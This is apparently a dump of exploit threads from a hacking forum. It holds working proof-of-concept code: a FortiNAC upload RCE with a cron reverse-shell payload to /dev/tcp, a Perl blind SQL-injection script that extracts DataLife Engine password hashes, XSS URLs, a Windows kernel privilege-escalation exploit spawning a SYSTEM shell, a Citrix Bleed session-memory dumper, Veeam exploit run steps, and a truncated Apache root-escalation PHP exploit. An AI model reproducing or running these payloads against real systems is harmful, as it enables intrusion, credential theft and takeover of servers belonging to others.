Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании МСЭ.

Уязвимость обнаружена в модуле "ipfw" при обработке IP фрагментов. Удаленный пользователь может послать ICMP IP фрагменты, отвечающие действиям "reset", "reject" или "unreach" и аварийно завершить работу межсетевого экрана.
Решение: Установите исправление с сайта производителя.
Patch for FreeBSD 6.0:
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/pa...6:04/ipfw.patch
:zns2: производители
Источник: www.securitylab.ru

CVE-2022-39952 Fortinet FortiNAC Unauthenticated RCE PoC
ID: 67686ba3b4103b69df379be4
Thread ID: 82475
Created: 2023-02-21T15:53:58+0000
Last Post: 2023-04-11T02:32:26+0000
Author: Wolverine
Prefix: Remote
Replies: 34 Views: 6K

**POC for CVE-2022-39952 affecting Fortinet FortiNAC

PoC**: https://github.com/horizon3ai/CVE-2022-39952
Details: <https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep- dive-and-iocs/>
Affected Products :
FortiNAC : 9.4.0, 9.2.5, 9.2.4, 9.2.3, 9.2.2, 9.2.1, 9.2.0, 9.1.7, 9.1.6, 9.1.5, 9.1.4, 9.1.3, 9.1.2, 9.1.1, 9.1.0, 8.8.9, 8.8.8, 8.8.7, 8.8.6, 8.8.5, 8.8.4, 8.8.3, 8.8.2, 8.8.11, 8.8.10, 8.8.1, 8.8.0, 8.7.6, 8.7.5, 8.7.4, 8.7.3, 8.7.2, 8.7.1, 8.7.0, 8.6.5, 8.6.4, 8.6.3, 8.6.2, 8.6.1, 8.6.0, 8.5.4, 8.5.3, 8.5.2, 8.5.1, 8.5.0, 8.3.7

Spoiler: PoC

Python:Copy to clipboard

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

Spoiler: Payload

Code:Copy to clipboard

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1
Counter-Strike 1.6 Dos exploit
ID: 67686ba3b4103b69df379e15
Thread ID: 12081
Created: 2006-09-26T15:12:37+0000
Last Post: 2006-09-26T19:22:10+0000
Author: gemaglabin
Prefix: DoS
Replies: 23 Views: 6K

Counter-Strike 1.6 Dos exploit

Баг был найден небезызвестным хакером FUF`ом,имже и была написана exe версия.Мной был написан эксплоит на php.

Сплоит валит кс и очень сильно грузит систему.

Возможность указать пароль

Кароче,в архиве уже есть информация по испльзованию гуи версии,с php примерно все также.

Бывает что валится не с первого раза,но валит все 100 процентов серверов.Ну или стоит поменять тип авторизации на двойку

SQL-инъекция и XSS в Datalife Engine <= 4.1
ID: 67686ba3b4103b69df379e29
Thread ID: 9345
Created: 2006-06-21T10:16:25+0000
Last Post: 2006-07-12T12:08:18+0000
Author: not null
Prefix: Web
Replies: 13 Views: 6K

SQL-инъекция и XSS в Datalife Engine <= 4.1
Недостаточная фильрация позволяет злонамеренному пользователю выполнить произвольные команды в базе данных и в браузере жертвы
XSS

Code:Copy to clipboard

/?year=2006&month=26687%3C/title%3E%3C/body%3E%3Cimg%20src=http://ghc.ru/images/rstghc.gif%3E7006&day=11
/?year=2006&month=04&day=68850%3C/title%3E%3Cbody%3E%3Cimg%20src=http://ghc.ru/images/rstghc.gif%3E

SQL-inj exploit:

Code:Copy to clipboard

 #!/usr/bin/perl

## DataLife Engine sql injection exploit by RST/GHC
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## 18.06.06

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:p:');

$url  = $opt_u;
$name = $opt_n;
$prefix = $opt_p || 'dle_';

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~]      URL : $url\r\n";
print " [~] USERNAME : $name\r\n";
print " [~]   PREFIX : $prefix\r\n";
$userid = 0;
print " [~] GET USERID FOR USER \"$name\" ...";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
if($userid != 0 ) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print " [~]   USERID : $userid\r\n";

print " [~] SEARCHING PASSWORD ...  ";

while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{\b  [ DONE ] 
 ---------------------------------------------------------------
  USERNAME : $name
    USERID : $userid
  PASSHASH : $allchar
 ---------------------------------------------------------------
 };
 }
 else
 {
 print "\b[ FAILED ]";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char);
 print "\b".chr($char)." ";
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0]; 
 $xpl = LWP::UserAgent->new() or die;
 $res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
 if($res->as_string =~ /$name<\/td>/) { return 1; }
 else { return 0; }
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b/";  }
  if($status==1){ print "\b-";  }
  if($status==2){ print "\b\\"; }
  if($status==3){ print "\b|";  }
}

sub usage()
 {
 &head;
 print q(
  USAGE:
  r57datalife.pl [OPTIONS]
  
  OPTIONS:
  -u <URL>      - path to index.php
  -n <USERNAME> - username for bruteforce
  -p [prefix]   - database prefix
  
  E.G.
  r57datalife.pl -u http://server/index.php -n admin
 ---------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 ---------------------------------------------------------------
       DataLife Engine sql injection exploit by RST/GHC
 ---------------------------------------------------------------
 );
 }

Решение: обновиться до версии 4.2
Greetzzz: RST/GHC

[CVE-2024-26229] Windows LPE (PoC)
ID: 67686ba3b4103b69df379b34
Thread ID: 116553
Created: 2024-06-10T17:25:09+0000
Last Post: 2024-09-05T21:07:46+0000
Author: varwar
Prefix: Local
Replies: 29 Views: 6K

Spoiler: CVE-2024-26229.c

C:Copy to clipboard

/*
                PoC Info
-------------------------------------------
Vulnerability:    CVE-2024-26229
Environment:    Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>

// I use ntdllp.lib private library from VS SDK to avoid GetProcAddress for Nt* functions
#pragma comment(lib, "ntdllp.lib")
#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET            0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3 // vuln ioctl

#define SystemHandleInformation            0x10
#define SystemHandleInformationSize        0x400000

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int32_t Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = STATUS_SUCCESS;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
    while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        }

        else
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
        }
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

    done:
    if (pHandleInfo != NULL)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return Ret;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
    NTSTATUS Status = 0;
    size_t cbNumOfBytesWrite = 0;

    Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status))
    {
        return -1;
    }
    return Status;
}

//
//
//
NTSTATUS Exploit()
{
    UNICODE_STRING  objectName = { 0 };
    OBJECT_ATTRIBUTES objectAttr = { 0 };
    IO_STATUS_BLOCK iosb = { 0 };
    HANDLE handle;
    NTSTATUS status = 0;

    //
    // Initialize kernel objects to leak
    //
    uintptr_t Sysproc = 0;
    uintptr_t Curproc = 0;
    uintptr_t Curthread = 0;
    uintptr_t Token = 0;

    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    uint32_t Ret = 0;
    uint8_t mode = UserMode;

    RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
    InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
  
    status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtCreateFile failed with status = %x\n", status);
        return status;
    }

    //
    // Leak System _EPROCESS kernel address
    //
    Ret = GetObjPtr(&Sysproc, 4, 4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address = %llx\n", Sysproc);

    //
    // Leak current _KTHREAD kernel address
    //
    hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current THREAD address = %llx\n", Curthread);
    }

    //
    // Leak current _EPROCESS kernel address
    //
    hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current EPROCESS address = %llx\n", Curproc);
    }

    //
    // Sending the payload to the csc.sys driver to trigger the bug
    //
    status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtFsControlFile failed with status = %x\n", status);
        return status;
    }

    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
  
    Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

    //
    // Restoring KTHREAD->PreviousMode
    //
    Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

    //
    // spawn the shell with "nt authority\system"
    //

    system("cmd.exe");

    return STATUS_SUCCESS;
}


int main()
{
    NTSTATUS status = 0;
    status = Exploit();

    return status;
}

github.com

[ GitHub - varwara/CVE-2024-26229: CWE-781: Improper Address Validation

in IOCTL with METHOD_NEITHER I/O Control Code ](https://github.com/varwara/CVE-2024-26229)

CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code - varwara/CVE-2024-26229

github.com github.com

csc.png

CVE-2021-44228 Apache log4j RCE
ID: 67686ba3b4103b69df379b64
Thread ID: 59924
Created: 2021-12-10T16:05:33+0000
Last Post: 2024-06-02T20:21:40+0000
Author: Lipshitz
Prefix: Remote
Replies: 48 Views: 6K

I started seeing posts about Minecraft servers vulnerable to rce but as time went on it was revealed that many versions of Apache are affected. This is similar to the bug that produced the Equifax 2017 data breach.

Also, there are many poc available on GitHub for those interested in playing around.

Citrix | CVE-2023-4966
ID: 67686ba3b4103b69df379b84
Thread ID: 100943
Created: 2023-10-25T17:14:44+0000
Last Post: 2024-01-20T11:54:36+0000
Author: 0x00x0
Prefix: Web
Replies: 49 Views: 6K

Info: <https://www.assetnote.io/resources/research/citrix-bleed-leaking- session-tokens-with-cve-2023-4966>

exploit:

Python:Copy to clipboard

#!/usr/bin/env python3

import sys
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument('--target', help='The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200)')
args = parser.parse_args()

if args.target is None:
    print('Target must be provided (e.g. --target 192.168.1.200)')
    sys.exit(0)

hostname = args.target

if __name__ == "__main__":
    headers = {
        "Host": "a"*24576
    }
    r = requests.get(f"https://{hostname}/oauth/idp/.well-known/openid-configuration", headers=headers, verify=False,timeout=10)
    if r.status_code == 200:
        print("--- Dumped Memory ---")
        print(r.text[131050:])
        print("---      End      ---")
    else:
        print("Could not dump memory")
veeam rce
ID: 67686ba3b4103b69df379b87
Thread ID: 79946
Created: 2023-01-14T12:59:50+0000
Last Post: 2023-12-18T09:42:41+0000
Author: supra
Prefix: Remote
Replies: 21 Views: 6K

Пора ему дать "ходу" в паблик, эту поделку переодически продают по форумам, оно того не стоит совершенно, там целая куча условий для его запуска.
Колупайтесь!
xttps://temp.sh/FXmrU/VeeamExploit.rar

1. Run SMB-Disable.bat as Administrator, after reboot OS!. (This script will disable internal services that use 445 port, this will permit to use custom app "Redfish" to share files).
2. Run Redfish.exe, configure as in picture redfish.png and press start.
3. in shared folder "C:\a" (or other path), put your payload.
4. Edit VeeamExploit\exploit\compiled\1. exec.bat acording your environment
5. Edit VeeamExploit\exploit\compiled\2. copy.bat (change only IP and port).
6. Edit VeeamExploit\exploit\compiled\3. reboot.bat acording your environment.
7. Edit "C:\temp\exec.txt" (change only IP and shared folder name).

Put folder "temp" in "C:".
Hint. To check if target is vulnerable, you can execute reboot, and ping target, if ping lost, then target is vulnerable.

Execute (Order is important!).
8. VeeamExploit\exploit\compiled\1. exec.bat
9. VeeamExploit\exploit\compiled\2. copy.bat
10. VeeamExploit\exploit\compiled\3. reboot.bat

if all ok, target will be rebooted, you can monitor using "ping targetip -t".

After reboot, when any of user will be logged in,your payload will be executed as logged user privileges.

Local Privilege Escalation, Apache HTTP Server 2.4.17 <= 2.4.38, CVE-2019-0211
ID: 67686ba3b4103b69df379c10
Thread ID: 28666
Created: 2019-04-09T05:51:02+0000
Last Post: 2022-11-05T22:29:59+0000
Author: weaver
Prefix: Local
Replies: 4 Views: 5K

Наибольшую угрозу проблема представляет для сервисов совместного web- хостинга.

Специалисты Apache Software Foundation исправили опасную уязвимость в Apache HTTP Server 2.4, которая при определенных обстоятельствах позволяла выполнить код с правами суперпользователя и перехватить управление сервером.

Проблема (CVE-2019-0211) затрагивает исключительно версии Apache для Unix- систем (от Apache 2.4.17 до 2.4.38) и позволяет менее привилегированному пользователю выполнить код с правами суперпользователя на целевом сервере. Согласно пояснению разработчиков, менее привилегированный дочерний процесс Apache (например, CGI скрипт) может выполнить код с правами родительского процесса. Поскольку на большинстве Unix-систем web-сервер Apache работает с правами суперпользователя, любой атакующий, внедривший вредоносный CGI-скрипт на сервер Apache может воспользоваться уязвимостью, и перехватить контроль над всей системой.

Наибольшую угрозу проблема представляет для сервисов совместного web-хостинга. Как отмечается, CVE-2019-0211 является локальной уязвимостью и для ее эксплуатации злоумышленник изначально должен иметь доступ к серверу (либо создав собственную учетную запись, либо скомпрометировав уже существующие аккаунты). Далее он может загрузить вредоносный PHP или CGI скрипт и скомпрометировать сайты, размещенные на сервере, или украсть данные других клиентов, хранящиеся на машине.

Уязвимость уже устранена в версии Apache httpd 2.4.39. Кроме вышеуказанной, обновление также исправляет ряд других менее опасных багов, в том числе уязвимости (CVE-2019-0217 и CVE-2019-0215), позволяющие обойти ограничения доступа. Пользователям рекомендуется установить обновление как можно скорее.

PHP:Copy to clipboard

<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W  --% S   F
#  5 87% 177 26 (default)
#  8 89%  60  8
# 10 95%  70  4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27  2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#


o('CARPE (DIEM) ~ CVE-2019-0211');
o('');

error_reporting(E_ALL);


# Starts the exploit by triggering the UAF.
function real()
{
  global $y;
  $y = [new Z()];
  json_encode([0 => &$y]);
}

# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
#   replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
#   end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
#   y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
#   especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
#   mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
#   function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
#   bucket
class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $addresses, $workers_pids;

    #
    # Setup memory
    #
        o('Triggering UAF');
    o('  Creating room and filling empty spaces');

    # Fill empty blocks to make sure our allocations will be contiguous
    # I: Since a lot of allocations/deallocations happen before the script
    # is ran, two variables instanciated at the same time might not be
    # contiguous: this can be a problem for a lot of reasons.
    # To avoid this, we instanciate several DateInterval objects. These
    # objects will fill a lot of potentially non-contiguous memory blocks,
    # ensuring we get "fresh memory" in upcoming allocations.
    $contiguous = [];
    for($i=0;$i<10;$i++)
      $contiguous[] = new DateInterval('PT1S');

    # Create some space for our UAF blocks not to get overwritten
    # I: A PHP object is a combination of a lot of structures, such as
    # zval, zend_object, zend_object_handlers, zend_string, etc., which are
    # all allocated, and freed when the object is destroyed.
    # After the UAF is triggered on the object, all the structures that are
    # used to represent it will be marked as free.
    # If we create other variables afterwards, those variables might be
    # allocated in the object's previous memory regions, which might pose
    # problems for the rest of the exploitation.
    # To avoid this, we allocate a lot of objects before the UAF, and free
    # them afterwards. Since PHP's heap is LIFO, when we create other vars,
    # they will take the place of those objects instead of the object we
    # are triggering the UAF on. This means our object is "shielded" and
    # we don't have to worry about breaking it.
    $room = [];
    for($i=0;$i<10;$i++)
      $room[] = new Z();

    # Build string meant to fill old DateInterval's timelib_rel_time
    # I: ptr2str's name is unintuitive here: we just want to allocate a
    # zend_string of size 78.
    $_protector = ptr2str(0, 78);

    o('  Allocating $abc and $p');

    # Create ABC
    # I: This is the variable we will use to R/W memory afterwards.
    # After we free the Z object, we'll make sure abc is overwritten by a
    # timelib_rel_time structure under our control. The first 8*8 = 64 bytes
    # of this structure can be modified easily, meaning we can change the
    # size of abc. This will allow us to read/write memory after abc.
    $this->abc = ptr2str(0, 79);

    # Create $p meant to protect $this's blocks
    # I: Right after we trigger the UAF, we will unset $p.
    # This means that the timelib_rel_time structure (TRT) of this object
    # will be freed. We will then allocate a string ($protector) of the same
    # size as TRT. Since PHP's heap is LIFO, the string will take the place
    # of the now-freed TRT in memory.
    # Then, we create a new DateInterval object ($x). From the same
    # assumption, every structure constituting this new object will take the
    # place of the previous structure. Nevertheless, since TRT's memory
    # block has already been replaced by $protector, the new TRT will be put
    # in the next free blocks of the same size, which happens to be $abc
    # (remember, |abc| == |timelib_rel_time|).
    # We now have the following situation: $x is a DateInterval object whose
    # internal TRT structure has the same address as $abc's zend_string.
    $p = new DateInterval('PT1S');

    #
    # Trigger UAF
    #
    
    o('  Unsetting both variables and setting $protector');
    # UAF here, $this is usable despite being freed
    unset($y[0]);
    # Protect $this's freed blocks
    unset($p);

    # Protect $p's timelib_rel_time structure
    $protector = ".$_protector";
    # !!! This is only required for apache
    # Got no idea as to why there is an extra deallocation (?)
    $room[] = "!$_protector";

    o('  Creating DateInterval object');
    # After this line:
    # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
    # We can control the structure of $this->abc and therefore read/write
    # anything that comes after it in memory by changing its size and
    # making in-place edits using $this->abc[$position] = $char
    $x = new DateInterval('PT1S');
    # zend_string.refcount = 0
    # It will get incremented at some point, and if it is > 1,
    # zend_assign_to_string_offset() will try to duplicate it before making
    # the in-place replacement
    $x->y = 0x00;
    # zend_string.len
    $x->d = 0x100;
    # zend_string.val[0-4]
    $x->h = 0x13121110;

    # Verify UAF was successful
    # We modified stuff via $x; they should be visible by $this->abc, since
    # they are at the same memory location.
    if(!(
      strlen($this->abc) === $x->d &&
      $this->abc[0] == "\x10" &&
      $this->abc[1] == "\x11" &&
      $this->abc[2] == "\x12" &&
      $this->abc[3] == "\x13"
    ))
    {
      o('UAF failed, exiting.');
      exit();
    }
    o('UAF successful.');
    o('');

    # Give us some room
    # I: As indicated before, just unset a lot of stuff so that next allocs
    # don't break our fragile UAFd structure.
    unset($room);

    #
    # Setup the R/W primitive
    #

    # We control $abc's internal zend_string structure, therefore we can R/W
    # the shared memory block (SHM), but for that we need to know the
    # position of $abc in memory
    # I: We know the absolute position of the SHM, so we need to need abc's
    # as well, otherwise we cannot compute the offset

    # Assuming the allocation was contiguous, memory looks like this, with
    # 0x70-sized fastbins:
    #   [zend_string:abc]
    #   [zend_string:protector]
    #   [FREE#1]
    #   [FREE#2]
    # Therefore, the address of the 2nd free block is in the first 8 bytes
    # of the first block: 0x70 * 2 - 24
    $address = str2ptr($this->abc, 0x70 * 2 - 24);
    # The address we got points to FREE#2, hence we're |block| * 3 higher in
    # memory
    $address = $address - 0x70 * 3;
    # The beginning of the string is 24 bytes after its origin
    $address = $address + 24;
    o('Address of $abc: 0x' . dechex($address));
    o('');

    # Compute the size required for our string to include the whole SHM and
    # apache's memory region
    $distance =
      max($addresses['apache'][1], $addresses['shm'][1]) -
      $address
    ;
    $x->d = $distance;

    # We can now read/write in the whole SHM and apache's memory region.

    #
    # Find all_buckets in memory
    #

    # We are looking for a structure s.t.
    # |all_buckets, mutex| = 0x10
    # |mutex, meth| = 0x8
    # all_buckets is in apache's memory region
    # mutex is in apache's memory region
    # meth is in libaprR's memory region
    # meth's function pointers are in libaprX's memory region
    o('Looking for all_buckets in memory');
    $all_buckets = 0;

    for(
      $i = $addresses['apache'][0] + 0x10;
      $i < $addresses['apache'][1] - 0x08;
      $i += 8
    )
    {
      # mutex
      $mutex = $pointer = str2ptr($this->abc, $i - $address);
      if(!in($pointer, $addresses['apache']))
        continue;


      # meth
      $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
      if(!in($pointer, $addresses['libaprR']))
        continue;

      o('  [&mutex]: 0x' . dechex($i));
      o('    [mutex]: 0x' . dechex($mutex));
      o('      [meth]: 0x' . dechex($meth));


      # meth->*
      # flags
      if(str2ptr($this->abc, $pointer - $address) != 0)
        continue;
      # methods
      for($j=0;$j<7;$j++)
      {
        $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
        if(!in($m, $addresses['libaprX']))
          continue 2;
        o('        [*]: 0x' . dechex($m));
      }

      $all_buckets = $i - 0x10;
      o('all_buckets = 0x' . dechex($all_buckets));
      break;
    }

    if(!$all_buckets)
    {
      o('Unable to find all_buckets');
      exit();
    }

    o('');

    # The address of all_buckets will change when apache is gracefully
    # restarted. This is a problem because we need to know all_buckets's
    # address in order to make all_buckets[some_index] point to a memory
    # region we control.

    #
    # Compute potential bucket indexes and their addresses
    #

        o('Computing potential bucket indexes and addresses');

    # Since we have sizeof($workers_pid) MPM workers, we can fill the rest
    # of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
    # with data we like. We keep the one at the top to store our payload.
    # The rest is sprayed with the address of our payload.

    $size_prefork_child_bucket = 24;
    $size_worker_score = 264;
    # I get strange errors if I use every "free" item, so I leave twice as
    # many items free. I'm guessing upon startup some
    $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
    $spray_max = $addresses['shm'][1];
    $spray_min = $spray_max - $spray_size;

    $spray_middle = (int) (($spray_min + $spray_max) / 2);
    $bucket_index_middle = (int) (
      - ($all_buckets - $spray_middle) /
      $size_prefork_child_bucket
    );

    #
    # Build payload
    #

    # A worker_score structure was kept empty to put our payload in
    $payload_start = $spray_min - $size_worker_score;

    $z = ptr2str(0);

      # Payload maxsize 264 - 112 = 152
    # Offset 8 cannot be 0, but other than this you can type whatever
    # command you want
      $bucket = isset($_REQUEST['cmd']) ?
        $_REQUEST['cmd'] :
        "chmod +s /usr/bin/python3.5";

      if(strlen($bucket) > $size_worker_score - 112)
    {
      o(
        'Payload size is bigger than available space (' .
        ($size_worker_score - 112) .
        '), exiting.'
      );
      exit();
    }
      # Align
      $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

      # apr_proc_mutex_unix_lock_methods_t
    $meth =
        $z .
        $z .
        $z .
        $z .
        $z .
        $z .
      # child_init
        ptr2str($addresses['zend_object_std_dtor'])
    ;

    # The second pointer points to meth, and is used before reaching the
    # arbitrary function call
    # The third one and the last one are both used by the function call
    # zend_object_std_dtor(object) => ... => system(&arData[0]->val)
    $properties =
      # refcount
      ptr2str(1) .
      # u-nTableMask meth
      ptr2str($payload_start + strlen($bucket)) .
      # Bucket arData
      ptr2str($payload_start) .
      # uint32_t nNumUsed;
      ptr2str(1, 4) .
        # uint32_t nNumOfElements;
      ptr2str(0, 4) .
      # uint32_t nTableSize
      ptr2str(0, 4) .
      # uint32_t nInternalPointer
      ptr2str(0, 4) .
      # zend_long nNextFreeElement
      $z .
      # dtor_func_t pDestructor
      ptr2str($addresses['system'])
    ;

    $payload =
      $bucket .
      $meth .
      $properties
    ;

    # Write the payload

    o('Placing payload at address 0x' . dechex($payload_start));

    $p = $payload_start - $address;
